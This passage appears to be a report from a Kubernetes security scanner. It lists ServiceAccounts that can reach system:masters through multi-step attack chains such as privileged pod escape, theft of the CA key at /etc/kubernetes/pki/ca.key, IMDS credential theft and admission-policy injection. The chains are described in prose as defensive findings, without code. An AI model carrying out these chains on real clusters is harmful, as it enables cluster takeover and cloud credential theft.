    Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

    A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write services + read secrets in hookbackend-fixtures
    Gives the attacker can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/local-path-storage/local-path-provisioner-service-account → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `local-path-provisioner-service-account` in namespace `local-path-storage` reaches the system:masters group in 2 hops via Create a privileged pod and escape to the node → Control-plane PKI theft.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Survives cutting the local-path-provisioner-bind binding (2 hops)

This route reaches the same target without the local-path-provisioner-bind binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod local-path-storage/local-path-provisioner-67b8995b4b-r5gbn falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/map-fixtures/sa-mutating-policy → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `sa-mutating-policy` in namespace `map-fixtures` reaches the system:masters group in 2 hops via MutatingAdmissionPolicy injection → Control-plane PKI theft.

  1. Step 1 of 2 MutatingAdmissionPolicy injection mutating_policy_inject

    A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

    An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings
    Gives the attacker can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches the system:masters group in 2 hops via Create a privileged pod and escape to the node → Control-plane PKI theft.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/psa-suppressed/default → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `default` in namespace `psa-suppressed` reaches the system:masters group in 2 hops via Container escape to host → Control-plane PKI theft.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/psa-suppressed/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `sa-psa-unlabeled` in namespace `psa-unlabeled-fixtures` reaches the system:masters group in 2 hops via Container escape to host → Control-plane PKI theft.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/psaflip-fixtures/psaflip-flipper → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `psaflip-flipper` in namespace `psaflip-fixtures` reaches the system:masters group in 2 hops via Pod Security Admission label flip → Control-plane PKI theft.

  1. Step 1 of 2 Pod Security Admission label flip namespace_psa_label_flip

    Pod Security Admission decides how strictly to vet pods in a namespace by reading the pod-security.kubernetes.io/enforce label on the Namespace object at admission time. That label is ordinary metadata: nothing in Kubernetes protects it, so anyone who can update or patch the namespace can set it to privileged and switch the lockdown off.

    Alone the label write changes nothing. Paired with a way to create pods in that namespace, it lets the attacker land a privileged or host-mounting pod in a namespace the cluster's PSA posture reports as restricted, and escape to the node from there. The write grant is outside the built-in admin/edit roles, and a namespaced Role can carry it for its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request inside <ns>.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted patch namespaces + create pods (psaflip-fixtures)
    Gives the attacker can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `sa-nodes-proxy` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via nodes/proxy → kubelet API → Control-plane PKI theft.

  1. Step 1 of 2 nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/vulnerable/default → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `default` in namespace `vulnerable` reaches the system:masters group in 2 hops via Container escape to host → Control-plane PKI theft.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/vulnerable/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/cloud-eks-test/eks-token-minter → the system:masters group score 8.7 3 hops View finding →

ServiceAccount `eks-token-minter` in namespace `cloud-eks-test` reaches the system:masters group in 3 hops via TokenRequest minting → Assume AWS IAM Role via IRSA → AWS IAM principal granted cluster-admin via aws-auth.

  1. Step 1 of 3 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
  3. Step 3 of 3 AWS IAM principal granted cluster-admin via aws-auth aws_auth_admin

    EKS authenticates AWS IAM principals into Kubernetes via the kube-system/aws-auth ConfigMap. Each entry under mapRoles / mapUsers ties an IAM role or user ARN to a Kubernetes username and a list of groups. If that group list contains system:masters, the IAM principal is hard-coded as cluster-admin by the apiserver. If it contains any group bound to cluster-admin via a ClusterRoleBinding, the effect is the same: the IAM principal can do anything in the cluster.

    This grant is invisible to kubectl get clusterrolebindings: the mapping lives in a ConfigMap and the resulting identity is synthesized at request-time by the EKS aws-iam-authenticator.

    From User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted system:masters via aws-auth
    Gives the attacker external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth
CRITICAL ServiceAccount/foothold-ops/foothold-execer → the system:masters group score 8.4 3 hops View finding →

ServiceAccount `foothold-execer` in namespace `foothold-ops` reaches the system:masters group in 3 hops via Pod exec → container takeover → Container escape to host → Control-plane PKI theft.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
  2. Step 2 of 3 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/csr-fixtures/sa-csr-sign → the system:masters group score 8.7 1 hop View finding →

ServiceAccount `sa-csr-sign` in namespace `csr-fixtures` reaches the system:masters group in 1 hop via Signer control: issuing certs without approval.

  1. Signer control: issuing certs without approval csr_sign

    The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

    For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

    One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status
    Gives the attacker is an authorized signer for apiserver client certificates and can issue one for any identity without an approval step
HIGH ServiceAccount/cert-manager/cert-manager → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `cert-manager` in namespace `cert-manager` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/cloud-eks-test/default → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `cloud-eks-test` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cloud-eks-test/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/containersec-fixtures/default → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `containersec-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/containersec-fixtures/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/cutres/cutres-detour → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `cutres-detour` in namespace `cutres` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-detour
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-detour
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/cutres/cutres-parallel → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `cutres-parallel` in namespace `cutres` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `deepchain-privileged` in namespace `deepchain-tenant` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/flat-network/default → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `flat-network` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/flat-network/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/flux-system/kustomize-controller → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `kustomize-controller` in namespace `flux-system` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa → the system:masters group score 8.3 2 hops View finding →

